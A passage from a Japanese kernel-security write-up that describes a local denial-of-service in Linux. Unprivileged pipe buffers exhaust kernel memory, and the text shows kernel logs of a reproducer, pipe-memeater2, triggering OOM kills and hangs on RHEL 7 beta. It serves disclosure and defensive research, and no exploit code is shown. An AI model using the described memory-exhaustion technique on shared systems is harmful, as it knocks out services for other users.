memory cgroup の中の kmemcg が使えるようになった Linux 3.8 以降であれば、適切に kmemcg を設定することで、(パイプのバッファなどに割り当てられる、カーネルが使うメモリの使用量を)制限することができます。

しかし、( kmemcg に対応していない) Linux 3.7 以前を使っているシステムや、 kmemcg の機能を設定していないシステムでは制限できません。

 →ユーザが作成したプログラムの実行を許可しているシステムの内、 kmemcg も有効にしているシステムがどれくらい存在するのでしょう?


2.4 この脆弱性にどう対処しようとしたか?

脆弱性を扱うための非公開ML( security@kernel.org )での議論が行われました。しかし、まともに対処する価値のある問題とは考えられていませんでした。

・そもそも信用できないローカルユーザをログインさせる方が悪いという考え方。

 →ローカルユーザによる権限昇格攻撃へはすぐに対応するけど、 ローカルユーザによる local DoS 攻撃へはすぐに対処しないのはどうかと思うけど?

・ memory cgroup の中の kmemcg で適切に制限すれば緩和できるという考え方。

 →そもそも適切に設定できるの? kmemcg 未対応の古いカーネルを使っているユーザを見捨てるの?

・他にも攻撃方法は存在するという事実。

 → CaitSith などのアクセス制御モジュールを開発した経験に基づいて、ユーザIDやグループIDを条件にして利用可能なファイルディスクリプタの数を制限するLSMモジュールを提案しましたが、「この問題に対処するには大げさすぎる」という理由で採用には至りませんでした。

そのため、なかなか解決策が見つからない状況が続きました。


そんな中、 RHEL 7 beta がリリース(2013年12月)されました。

systemd が導入され、デーモンプロセスの起動終了など多くの処理が systemd の管理下に置かれるようになりました。また、デフォルトのファイルシステムは RHEL 6 では ext4 でしたが、 RHEL 7 では xfs になりました。

「 RHEL 6 ではほぼ全てのデーモンプロセスを強制終了させることができたけど、 RHEL 7 でも同じことが起きるのかな?」

ということで、 GUI 環境がインストールされている RHEL 7 beta 上で試してみましたが・・・。


RHEL 7 beta 上で再現プログラムを実行したところ、なんだか様子がおかしいのです。

OOM killer 乱発でほぼ全てのプロセスが強制終了させられると予想していたのに、何故か OOM killer の発動前にシステム全体がフリーズしたり、 OOM killer の発動後にシステム全体がフリーズしたりする場合があるのです。

---------- OOM killer の発動前にハングアップした場合の例 ここから ----------
( pipe-memeater2 を開始後1分ほど待ちましたが反応が無いため、 SysRq-m によりメモリの状況を表示させました。)
[  143.112366] SysRq : Show Memory
[  143.114964] Mem-Info:
[  143.116515] Node 0 DMA per-cpu:
[  143.118718] CPU    0: hi:    0, btch:   1 usd:   0
[  143.121888] CPU    1: hi:    0, btch:   1 usd:   0
[  143.125057] CPU    2: hi:    0, btch:   1 usd:   0
[  143.128223] CPU    3: hi:    0, btch:   1 usd:   0
[  143.131423] Node 0 DMA32 per-cpu:
[  143.133751] CPU    0: hi:  186, btch:  31 usd:   0
[  143.136898] CPU    1: hi:  186, btch:  31 usd:   0
[  143.140448] CPU    2: hi:  186, btch:  31 usd:   0
[  143.141648] CPU    3: hi:  186, btch:  31 usd:   0
[  143.142848] active_anon:94430 inactive_anon:2419 isolated_anon:0
[  143.142848]  active_file:25 inactive_file:27 isolated_file:46
[  143.142848]  unevictable:0 dirty:25 writeback:0 unstable:0
[  143.142848]  free:13044 slab_reclaimable:5548 slab_unreclaimable:8850
[  143.142848]  mapped:856 shmem:2589 pagetables:5786 bounce:0
[  143.142848]  free_cma:0
[  143.150637] Node 0 DMA free:7568kB min:384kB low:480kB high:576kB active_anon:3188kB inactive_anon:112kB active_file:0kB inactive_file:24kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:16kB shmem:124kB slab_reclaimable:144kB slab_unreclaimable:300kB kernel_stack:16kB pagetables:248kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  143.160561] lowmem_reserve[]: 0 1802 1802 1802
[  143.161866] Node 0 DMA32 free:44608kB min:44668kB low:55832kB high:67000kB active_anon:374532kB inactive_anon:9564kB active_file:100kB inactive_file:84kB unevictable:0kB isolated(anon):0kB isolated(file):184kB present:2080640kB managed:1845300kB mlocked:0kB dirty:100kB writeback:0kB mapped:3408kB shmem:10232kB slab_reclaimable:22048kB slab_unreclaimable:35100kB kernel_stack:5296kB pagetables:22896kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  143.172186] lowmem_reserve[]: 0 0 0 0
[  143.172895] Node 0 DMA: 50*4kB (UM) 46*8kB (M) 30*16kB (M) 18*32kB (M) 11*64kB (UM) 5*128kB (UM) 0*256kB 1*512kB (U) 0*1024kB 2*2048kB (MR) 0*4096kB = 7576kB
[  143.175751] Node 0 DMA32: 3297*4kB (UEM) 1562*8kB (UEM) 647*16kB (UEM) 135*32kB (UEM) 4*64kB (UEM) 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 1*4096kB (R) = 44708kB
[  143.178506] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  143.180035] 2666 total pagecache pages
[  143.180639] 0 pages in swap cache
[  143.181175] Swap cache stats: add 0, delete 0, find 0/0
[  143.182004] Free swap  = 0kB
[  143.182471] Total swap = 0kB
[  143.185995] 524287 pages RAM
[  143.186492] 54799 pages reserved
[  143.187047] 527642 pages shared
[  143.187555] 453340 pages non-shared
(既に DMA32 の free: が min: を下回っているのに OOM killer が発動していないため、 SysRq-f により OOM killer を発動させました。)
[  160.509185] SysRq : Manual OOM execution
[  160.512561] kworker/0:2 invoked oom-killer: gfp_mask=0xd0, order=0, oom_score_adj=0
[  160.517679] kworker/0:2 cpuset=/ mems_allowed=0
[  160.520700] CPU: 0 PID: 185 Comm: kworker/0:2 Not tainted 3.10.0-123.el7.x86_64 #1
[  160.525619] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[  160.532031] Workqueue: events moom_callback
[  160.533408]  ffff880036c24fa0 000000007dd3d9cb ffff880036dd1c70 ffffffff815e19ba
[  160.535875]  ffff880036dd1d00 ffffffff815dd02d ffff88005f108bf0 ffff88005f108bf0
[  160.538324]  ffff88007f674580 ffff88007f674ea8 ffff880036dd1d98 0000000000000046
[  160.540795] Call Trace:
[  160.541572]  [<ffffffff815e19ba>] dump_stack+0x19/0x1b
[  160.543176]  [<ffffffff815dd02d>] dump_header+0x8e/0x214
[  160.544824]  [<ffffffff8114520e>] oom_kill_process+0x24e/0x3b0
[  160.546618]  [<ffffffff81144d76>] ? find_lock_task_mm+0x56/0xc0
[  160.548444]  [<ffffffff8106af3e>] ? has_capability_noaudit+0x1e/0x30
[  160.550420]  [<ffffffff81145a36>] out_of_memory+0x4b6/0x4f0
[  160.552152]  [<ffffffff8137bc3d>] moom_callback+0x4d/0x50
[  160.553828]  [<ffffffff8107e02b>] process_one_work+0x17b/0x460
[  160.555643]  [<ffffffff8107edfb>] worker_thread+0x11b/0x400
[  160.557365]  [<ffffffff8107ece0>] ? rescuer_thread+0x400/0x400
[  160.559215]  [<ffffffff81085aef>] kthread+0xcf/0xe0
[  160.560758]  [<ffffffff81085a20>] ? kthread_create_on_node+0x140/0x140
[  160.562806]  [<ffffffff815f206c>] ret_from_fork+0x7c/0xb0
[  160.563824]  [<ffffffff81085a20>] ? kthread_create_on_node+0x140/0x140
[  160.564921] Mem-Info:
[  160.565325] Node 0 DMA per-cpu:
[  160.565860] CPU    0: hi:    0, btch:   1 usd:   0
[  160.566631] CPU    1: hi:    0, btch:   1 usd:   0
[  160.567617] CPU    2: hi:    0, btch:   1 usd:   0
[  160.568414] CPU    3: hi:    0, btch:   1 usd:   0
[  160.569198] Node 0 DMA32 per-cpu:
[  160.569771] CPU    0: hi:  186, btch:  31 usd:   0
[  160.570542] CPU    1: hi:  186, btch:  31 usd:   0
[  160.571392] CPU    2: hi:  186, btch:  31 usd:   0
[  160.572164] CPU    3: hi:  186, btch:  31 usd:   0
[  160.572948] active_anon:94430 inactive_anon:2419 isolated_anon:0
[  160.572948]  active_file:25 inactive_file:27 isolated_file:46
[  160.572948]  unevictable:0 dirty:25 writeback:0 unstable:0
[  160.572948]  free:13044 slab_reclaimable:5548 slab_unreclaimable:8850
[  160.572948]  mapped:856 shmem:2589 pagetables:5786 bounce:0
[  160.572948]  free_cma:0
[  160.578891] Node 0 DMA free:7568kB min:384kB low:480kB high:576kB active_anon:3188kB inactive_anon:112kB active_file:0kB inactive_file:24kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:16kB shmem:124kB slab_reclaimable:144kB slab_unreclaimable:300kB kernel_stack:16kB pagetables:248kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  160.585529] lowmem_reserve[]: 0 1802 1802 1802
[  160.586429] Node 0 DMA32 free:44608kB min:44668kB low:55832kB high:67000kB active_anon:374532kB inactive_anon:9564kB active_file:100kB inactive_file:84kB unevictable:0kB isolated(anon):0kB isolated(file):184kB present:2080640kB managed:1845300kB mlocked:0kB dirty:100kB writeback:0kB mapped:3408kB shmem:10232kB slab_reclaimable:22048kB slab_unreclaimable:35100kB kernel_stack:5296kB pagetables:22896kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  160.593312] lowmem_reserve[]: 0 0 0 0
[  160.594029] Node 0 DMA: 50*4kB (UM) 46*8kB (M) 30*16kB (M) 18*32kB (M) 11*64kB (UM) 5*128kB (UM) 0*256kB 1*512kB (U) 0*1024kB 2*2048kB (MR) 0*4096kB = 7576kB
[  160.596790] Node 0 DMA32: 3297*4kB (UEM) 1562*8kB (UEM) 647*16kB (UEM) 135*32kB (UEM) 4*64kB (UEM) 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 1*4096kB (R) = 44708kB
[  160.599652] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  160.601103] 2666 total pagecache pages
[  160.601703] 0 pages in swap cache
[  160.602691] Swap cache stats: add 0, delete 0, find 0/0
[  160.603580] Free swap  = 0kB
[  160.604072] Total swap = 0kB
[  160.607456] 524287 pages RAM
[  160.607980] 54799 pages reserved
[  160.608499] 527635 pages shared
[  160.609024] 453340 pages non-shared
[  160.609599] [ pid ]   uid  tgid total_vm      rss nr_ptes swapents oom_score_adj name
[  160.610967] [  572]     0   572     9232      522      19        0             0 systemd-journal
[  160.612373] [  591]     0   591    29620       80      25        0             0 lvmetad
[  160.613750] [  613]     0   613    11094      414      22        0         -1000 systemd-udevd
[  160.615158] [  707]     0   707    12803      102      24        0         -1000 auditd
[  160.616465] [  720]     0   720    20056       16       9        0             0 audispd
[  160.618066] [  729]     0   729     4189       43      13        0             0 alsactl
[  160.619369] [  730]     0   730     6551       49      18        0             0 sedispatch
[  160.620697] [  732]   172   732    41164       55      16        0             0 rtkit-daemon
[  160.622183] [  734]     0   734     6612       86      16        0             0 systemd-logind
[  160.623558] [  735]     0   735    61592      373      63        0             0 vmtoolsd
[  160.624863] [  739]     0   739    80894     4240      77        0             0 firewalld
[  160.626244] [  745]   995   745     2133       36       9        0             0 lsmd
[  160.627506] [  746]     0   746    96840      194      40        0             0 accounts-daemon
[  160.628884] [  747]     0   747    84088      287      66        0             0 ModemManager
[  160.630335] [  749]     0   749    32515      128      19        0             0 smartd
[  160.631591] [  752]   994   752    28961       92      28        0             0 chronyd
[  160.632883] [  756]     0   756    71323      513      39        0             0 rsyslogd
[  160.634400] [  757]     0   757    52615      443      53        0             0 abrtd
[  160.635671] [  759]     0   759    51993      340      54        0             0 abrt-watch-log
[  160.637062] [  760]    32   760    16227      131      35        0             0 rpcbind
[  160.638471] [  763]     0   763    51993      341      50        0             0 abrt-watch-log
[  160.639847] [  766]     0   766     1094       23       8        0             0 rngd
[  160.641159] [  768]     0   768     4829       78      14        0             0 irqbalance
[  160.642469] [  770]    81   770     7580      425      19        0          -900 dbus-daemon
[  160.643811] [  777]     0   777    50842      115      39        0             0 gssproxy
[  160.645177] [  807]    70   807     7549       77      20        0             0 avahi-daemon
[  160.646534] [  815]     0   815    28811       58      11        0             0 ksmtuned
[  160.647818] [  816]     0   816    26974       22      10        0             0 sleep
[  160.649127] [  817]   999   817   132837     2083      57        0             0 polkitd
[  160.650499] [  818]    70   818     7518       60      18        0             0 avahi-daemon
[  160.651906] [  880]     0   880   113613      994      74        0             0 NetworkManager
[  160.653405] [ 1077]     0  1077    13266      145      28        0             0 wpa_supplicant
[  160.654788] [ 1198]     0  1198    27631     3113      56        0             0 dhclient
[  160.656100] [ 1408]     0  1408   138261     2652      87        0             0 tuned
[  160.657411] [ 1409]     0  1409    20640      213      42        0         -1000 sshd
[  160.658661] [ 1416]     0  1416   138875     1130     141        0             0 libvirtd
[  160.659944] [ 1422]     0  1422    31583      150      18        0             0 crond
[  160.661296] [ 1423]     0  1423     6491       49      16        0             0 atd
[  160.662511] [ 1424]     0  1424   118308      759      51        0             0 gdm
[  160.663729] [ 1427]     0  1427    27509       31      11        0             0 agetty
[  160.665053] [ 2285]     0  2285    61020     4487     104        0             0 Xorg
[  160.666283] [ 2567]     0  2567    23306      253      44        0             0 master
[  160.667674] [ 2568]    89  2568    23332      252      45        0             0 pickup
[  160.669045] [ 2569]    89  2569    23349      251      45        0             0 qmgr
[  160.670312] [ 2580]     0  2580    64751      993      57        0          -900 abrt-dbus
[  160.671620] [ 2707]    99  2707     3888       48      11        0             0 dnsmasq
[  160.672985] [ 2708]     0  2708     3881       45      10        0             0 dnsmasq
[  160.674256] [ 2746]     0  2746    90874      322      61        0             0 upowerd
[  160.675546] [ 2770]   997  2770   101041      371      50        0             0 colord
[  160.676902] [ 2778]    42  2778   111507      299      75        0             0 pulseaudio
[  160.678231] [ 2791]     0  2791     4975       48      14        0             0 systemd-localed
[  160.679607] [ 2828]     0  2828   101278      258      47        0             0 packagekitd
[  160.681005] [ 2870]     0  2870    92702      783      45        0             0 udisksd
[  160.682294] [ 2913]     0  2913    80155      235      56        0          -900 realmd
[  160.683551] [ 2976]     0  2976    93324      821      70        0             0 gdm-session-wor
[  160.685488] [ 2992]  1000  2992    97458      200      40        0             0 gnome-keyring-d
[  160.687246] [ 3034]  1000  3034   162279      508     112        0             0 gnome-session
[  160.688795] [ 3041]  1000  3041     3488       36      10        0             0 dbus-launch
[  160.690170] [ 3042]  1000  3042     7460      298      17        0             0 dbus-daemon
[  160.691540] [ 3106]  1000  3106    76642      165      36        0             0 gvfsd
[  160.692986] [ 3110]  1000  3110    90285      685      44        0             0 gvfsd-fuse
[  160.694345] [ 3178]  1000  3178    13216      144      26        0             0 ssh-agent
[  160.695703] [ 3194]  1000  3194    84999      151      34        0             0 at-spi-bus-laun
[  160.697166] [ 3198]  1000  3198     7171      108      18        0             0 dbus-daemon
[  160.698535] [ 3201]  1000  3201    32423      159      32        0             0 at-spi2-registr
[  160.700025] [ 3213]  1000  3213   308215     2987     217        0             0 gnome-settings-
[  160.701605] [ 3230]  1000  3230   119864      373      93        0             0 pulseaudio
[  160.702984] [ 3236]     0  3236     9863       91      23        0             0 bluetoothd
[  160.704616] [ 3248]     0  3248     4972       49      13        0             0 systemd-hostnam
[  160.706041] [ 3250]  1000  3250   399482    27809     312        0             0 gnome-shell
[  160.707405] [ 3263]     0  3263    47748      273      47        0             0 cupsd
[  160.708758] [ 3287]  1000  3287   129195      382      96        0             0 gsd-printer
[  160.710124] [ 3317]  1000  3317   117500      523      49        0             0 ibus-daemon
[  160.711601] [ 3322]  1000  3322    98216      174      44        0             0 ibus-dconf
[  160.713041] [ 3324]  1000  3324   113063      487     104        0             0 ibus-x11
[  160.714394] [ 3329]  1000  3329   132651     1039      79        0             0 gnome-shell-cal
[  160.715891] [ 3337]  1000  3337    80472      397      57        0             0 mission-control
[  160.717428] [ 3341]  1000  3341   143879      597      92        0             0 caribou
[  160.718742] [ 3343]  1000  3343   178351     1094     144        0             0 goa-daemon
[  160.720151] [ 3358]  1000  3358    83626      372      90        0             0 goa-identity-se
[  160.721577] [ 3382]  1000  3382   100148      245      48        0             0 gvfs-udisks2-vo
[  160.723002] [ 3393]  1000  3393   105443      809      54        0             0 gvfs-afc-volume
[  160.724476] [ 3399]  1000  3399   167235      855     154        0             0 evolution-sourc
[  160.725990] [ 3406]  1000  3406    78121      167      37        0             0 gvfs-mtp-volume
[  160.727476] [ 3412]  1000  3412    74935      139      33        0             0 gvfs-goa-volume
[  160.728902] [ 3419]  1000  3419    80390      181      44        0             0 gvfs-gphoto2-vo
[  160.730326] [ 3435]  1000  3435   215425     2108     157        0             0 nautilus
[  160.731786] [ 3446]  1000  3446   182851     1697     136        0             0 tracker-extract
[  160.733214] [ 3447]  1000  3447    94351      915     125        0             0 vmtoolsd
[  160.734650] [ 3448]  1000  3448   117460      674      74        0             0 tracker-miner-a
[  160.736095] [ 3449]  1000  3449   117430      623      75        0             0 tracker-miner-u
[  160.737520] [ 3451]  1000  3451   140588     1248      82        0             0 tracker-miner-f
[  160.739047] [ 3460]  1000  3460   134177     1162      66        0             0 tracker-store
[  160.740605] [ 3462]  1000  3462   112871     1244     135        0             0 abrt-applet
[  160.741951] [ 3550]  1000  3550    37459      108      31        0             0 gconfd-2
[  160.743318] [ 3565]  1000  3565    79800      168      42        0             0 ibus-engine-sim
[  160.744710] [ 3587]  1000  3587   117863      187      47        0             0 gvfsd-trash
[  160.746059] [ 3624]  1000  3624   267938     9317     185        0             0 evolution-calen
[  160.747531] [ 3630]  1000  3630    59682      143      38        0             0 gvfsd-metadata
[  160.748929] [ 3649]  1000  3649   138689     1816     121        0             0 gnome-terminal-
[  160.750307] [ 3652]  1000  3652     2122       32       9        0             0 gnome-pty-helpe
[  160.751902] [ 3653]  1000  3653    29140      406      14        0             0 bash
[  160.753144] [ 3695]  1000  3695     1042       21       7        0             1 pipe-memeater2
[  160.754680] [ 3696]  1000  3696     1042       21       7        0             1 pipe-memeater2
[  160.756054] [ 3697]  1000  3697     1042       21       7        0             1 pipe-memeater2
[  160.757442] [ 3698]  1000  3698     1042       21       7        0             1 pipe-memeater2
[  160.758876] [ 3699]  1000  3699     1042       21       7        0             1 pipe-memeater2
[  160.760282] [ 3700]  1000  3700     1042       21       7        0             1 pipe-memeater2
[  160.761678] [ 3701]  1000  3701     1042       21       7        0             1 pipe-memeater2
[  160.763303] [ 3702]  1000  3702     1042       21       7        0             1 pipe-memeater2
[  160.764761] [ 3703]  1000  3703     1042       21       7        0             1 pipe-memeater2
[  160.766153] [ 3704]  1000  3704     1042       21       7        0             1 pipe-memeater2
[  160.767683] [ 3706]  1000  3706     1042       21       7        0             0 pipe-memeater2
[  160.769049] Out of memory: Kill process 3250 (gnome-shell) score 59 or sacrifice child
[  160.770424] Killed process 3317 (ibus-daemon) total-vm:470000kB, anon-rss:2092kB, file-rss:0kB
(まだ反応が無いため、 SysRq-m によりメモリの状況を表示させました。)
[  196.095694] SysRq : Show Memory
[  196.098000] Mem-Info:
[  196.099641] Node 0 DMA per-cpu:
[  196.101846] CPU    0: hi:    0, btch:   1 usd:   0
[  196.105035] CPU    1: hi:    0, btch:   1 usd:   0
[  196.109063] CPU    2: hi:    0, btch:   1 usd:   0
[  196.112459] CPU    3: hi:    0, btch:   1 usd:   0
[  196.115794] Node 0 DMA32 per-cpu:
[  196.118128] CPU    0: hi:  186, btch:  31 usd:   0
[  196.121276] CPU    1: hi:  186, btch:  31 usd:   0
[  196.124455] CPU    2: hi:  186, btch:  31 usd:   0
[  196.126846] CPU    3: hi:  186, btch:  31 usd:   0
[  196.128674] active_anon:94430 inactive_anon:2419 isolated_anon:0
[  196.128674]  active_file:25 inactive_file:27 isolated_file:46
[  196.128674]  unevictable:0 dirty:25 writeback:0 unstable:0
[  196.128674]  free:13046 slab_reclaimable:5548 slab_unreclaimable:8850
[  196.128674]  mapped:856 shmem:2589 pagetables:5786 bounce:0
[  196.128674]  free_cma:0
[  196.140606] Node 0 DMA free:7568kB min:384kB low:480kB high:576kB active_anon:3188kB inactive_anon:112kB active_file:0kB inactive_file:24kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:16kB shmem:124kB slab_reclaimable:144kB slab_unreclaimable:300kB kernel_stack:16kB pagetables:248kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  196.155788] lowmem_reserve[]: 0 1802 1802 1802
[  196.157371] Node 0 DMA32 free:44616kB min:44668kB low:55832kB high:67000kB active_anon:374532kB inactive_anon:9564kB active_file:100kB inactive_file:84kB unevictable:0kB isolated(anon):0kB isolated(file):184kB present:2080640kB managed:1845300kB mlocked:0kB dirty:100kB writeback:0kB mapped:3408kB shmem:10232kB slab_reclaimable:22048kB slab_unreclaimable:35100kB kernel_stack:5288kB pagetables:22896kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  196.164536] lowmem_reserve[]: 0 0 0 0
[  196.165466] Node 0 DMA: 50*4kB (UM) 46*8kB (M) 30*16kB (M) 18*32kB (M) 11*64kB (UM) 5*128kB (UM) 0*256kB 1*512kB (U) 0*1024kB 2*2048kB (MR) 0*4096kB = 7576kB
[  196.168336] Node 0 DMA32: 3297*4kB (UEM) 1564*8kB (UEM) 647*16kB (UEM) 135*32kB (UEM) 4*64kB (UEM) 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 1*4096kB (R) = 44724kB
[  196.171141] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  196.172490] 2666 total pagecache pages
[  196.173179] 0 pages in swap cache
[  196.173715] Swap cache stats: add 0, delete 0, find 0/0
[  196.174547] Free swap  = 0kB
[  196.175015] Total swap = 0kB
[  196.178556] 524287 pages RAM
[  196.179082] 54799 pages reserved
[  196.179605] 527628 pages shared
[  196.180114] 453338 pages non-shared
(まだ DMA32 の free: が min: を下回っているのに OOM killer が発動していないため、 SysRq-b により再起動させました。)
[  208.678839] SysRq : Resetting
---------- OOM killer の発動前にハングアップした場合の例 ここまで ----------
---------- OOM killer の発動後にハングアップした場合の例 ここから ----------
( pipe_memeater2 の開始前に、 SysRq-m によりメモリの状況を表示させました。)
[   75.434294] SysRq : Show Memory
[   75.436621] Mem-Info:
[   75.438188] Node 0 DMA per-cpu:
[   75.440491] CPU    0: hi:    0, btch:   1 usd:   0
[   75.443676] CPU    1: hi:    0, btch:   1 usd:   0
[   75.446920] CPU    2: hi:    0, btch:   1 usd:   0
[   75.450100] CPU    3: hi:    0, btch:   1 usd:   0
[   75.453282] Node 0 DMA32 per-cpu:
[   75.455657] CPU    0: hi:  186, btch:  31 usd: 149
[   75.458830] CPU    1: hi:  186, btch:  31 usd: 159
[   75.461469] CPU    2: hi:  186, btch:  31 usd: 139
[   75.462882] CPU    3: hi:  186, btch:  31 usd:  90
[   75.464299] active_anon:54015 inactive_anon:2094 isolated_anon:0
[   75.464299]  active_file:7055 inactive_file:58983 isolated_file:0
[   75.464299]  unevictable:0 dirty:8 writeback:0 unstable:0
[   75.464299]  free:311926 slab_reclaimable:6382 slab_unreclaimable:7573
[   75.464299]  mapped:21931 shmem:2263 pagetables:3993 bounce:0
[   75.464299]  free_cma:0
[   75.473555] Node 0 DMA free:9484kB min:384kB low:480kB high:576kB active_anon:2192kB inactive_anon:104kB active_file:160kB inactive_file:2540kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:672kB shmem:124kB slab_reclaimable:232kB slab_unreclaimable:456kB kernel_stack:56kB pagetables:108kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[   75.485351] lowmem_reserve[]: 0 1802 1802 1802
[   75.486883] Node 0 DMA32 free:1238220kB min:44668kB low:55832kB high:67000kB active_anon:213868kB inactive_anon:8272kB active_file:28060kB inactive_file:233392kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1845300kB mlocked:0kB dirty:32kB writeback:0kB mapped:87052kB shmem:8928kB slab_reclaimable:25296kB slab_unreclaimable:29836kB kernel_stack:4408kB pagetables:15864kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[   75.496482] lowmem_reserve[]: 0 0 0 0
[   75.497196] Node 0 DMA: 5*4kB (UM) 3*8kB (UE) 2*16kB (EM) 2*32kB (UM) 2*64kB (UM) 2*128kB (M) 3*256kB (UEM) 2*512kB (EM) 1*1024kB (E) 3*2048kB (EMR) 0*4096kB = 9484kB
[   75.500108] Node 0 DMA32: 141*4kB (UEM) 116*8kB (UEM) 39*16kB (UEM) 18*32kB (UEM) 10*64kB (M) 10*128kB (UM) 7*256kB (UM) 8*512kB (UM) 7*1024kB (EM) 4*2048kB (UEM) 296*4096kB (MR) = 1238276kB
[   75.503370] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   75.504729] 68301 total pagecache pages
[   75.505351] 0 pages in swap cache
[   75.505903] Swap cache stats: add 0, delete 0, find 0/0
[   75.506758] Free swap  = 0kB
[   75.507230] Total swap = 0kB
[   75.511170] 524287 pages RAM
[   75.511675] 54799 pages reserved
[   75.512203] 600924 pages shared
[   75.512738] 132132 pages non-shared
(ここで pipe-memeater2 を開始しました。)
[   78.806223] pipe-memeater2 invoked oom-killer: gfp_mask=0x200d2, order=0, oom_score_adj=0
[   78.811173] pipe-memeater2 cpuset=/ mems_allowed=0
[   78.814287] CPU: 0 PID: 3088 Comm: pipe-memeater2 Not tainted 3.10.0-123.el7.x86_64 #1
[   78.818717] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   78.821857]  ffff88005f302d80 000000005d69c4df ffff88005f3ada78 ffffffff815e19ba
[   78.824265]  ffff88005f3adb08 ffffffff815dd02d ffffffff810b68f8 ffff8800666dde50
[   78.826634]  0000000000000206 ffff88005f302d80 ffff88005f3adaf0 ffffffff81102eff
[   78.829363] Call Trace:
[   78.830134]  [<ffffffff815e19ba>] dump_stack+0x19/0x1b
[   78.831676]  [<ffffffff815dd02d>] dump_header+0x8e/0x214
[   78.833289]  [<ffffffff810b68f8>] ? ktime_get_ts+0x48/0xe0
[   78.834899]  [<ffffffff81102eff>] ? delayacct_end+0x8f/0xb0
[   78.836528]  [<ffffffff8114520e>] oom_kill_process+0x24e/0x3b0
[   78.838236]  [<ffffffff81144d76>] ? find_lock_task_mm+0x56/0xc0
[   78.839990]  [<ffffffff8106af3e>] ? has_capability_noaudit+0x1e/0x30
[   78.841859]  [<ffffffff81145a36>] out_of_memory+0x4b6/0x4f0
[   78.843493]  [<ffffffff8114b579>] __alloc_pages_nodemask+0xa09/0xb10
[   78.845350]  [<ffffffff81188779>] alloc_pages_current+0xa9/0x170
[   78.847179]  [<ffffffff811b8954>] pipe_write+0x274/0x540
[   78.848826]  [<ffffffff811af36d>] do_sync_write+0x8d/0xd0
[   78.849928]  [<ffffffff811afb0d>] vfs_write+0xbd/0x1e0
[   78.850887]  [<ffffffff811b0558>] SyS_write+0x58/0xb0
[   78.851837]  [<ffffffff815f2119>] system_call_fastpath+0x16/0x1b
[   78.852928] Mem-Info:
[   78.853402] Node 0 DMA per-cpu:
[   78.854021] CPU    0: hi:    0, btch:   1 usd:   0
[   78.854911] CPU    1: hi:    0, btch:   1 usd:   0
[   78.855790] CPU    2: hi:    0, btch:   1 usd:   0
[   78.856674] CPU    3: hi:    0, btch:   1 usd:   0
[   78.857558] Node 0 DMA32 per-cpu:
[   78.858201] CPU    0: hi:  186, btch:  31 usd:  52
[   78.859080] CPU    1: hi:  186, btch:  31 usd: 165
[   78.859963] CPU    2: hi:  186, btch:  31 usd:  46
[   78.860848] CPU    3: hi:  186, btch:  31 usd: 182
[   78.861729] active_anon:54067 inactive_anon:2094 isolated_anon:0
[   78.861729]  active_file:15 inactive_file:114 isolated_file:0
[   78.861729]  unevictable:0 dirty:0 writeback:0 unstable:0
[   78.861729]  free:13039 slab_reclaimable:5278 slab_unreclaimable:7941
[   78.861729]  mapped:494 shmem:2263 pagetables:4022 bounce:0
[   78.861729]  free_cma:0
[   78.867365] Node 0 DMA free:7568kB min:384kB low:480kB high:576kB active_anon:2192kB inactive_anon:104kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:124kB slab_reclaimable:168kB slab_unreclaimable:440kB kernel_stack:56kB pagetables:108kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[   78.874584] lowmem_reserve[]: 0 1802 1802 1802
[   78.875538] Node 0 DMA32 free:44588kB min:44668kB low:55832kB high:67000kB active_anon:214076kB inactive_anon:8272kB active_file:60kB inactive_file:456kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1845300kB mlocked:0kB dirty:0kB writeback:0kB mapped:1976kB shmem:8928kB slab_reclaimable:20944kB slab_unreclaimable:31324kB kernel_stack:4472kB pagetables:15980kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:1254 all_unreclaimable? yes
[   78.883294] lowmem_reserve[]: 0 0 0 0
[   78.884105] Node 0 DMA: 62*4kB (M) 43*8kB (UM) 32*16kB (M) 20*32kB (M) 11*64kB (M) 6*128kB (UM) 3*256kB (UM) 3*512kB (UM) 0*1024kB 1*2048kB (R) 0*4096kB = 7568kB
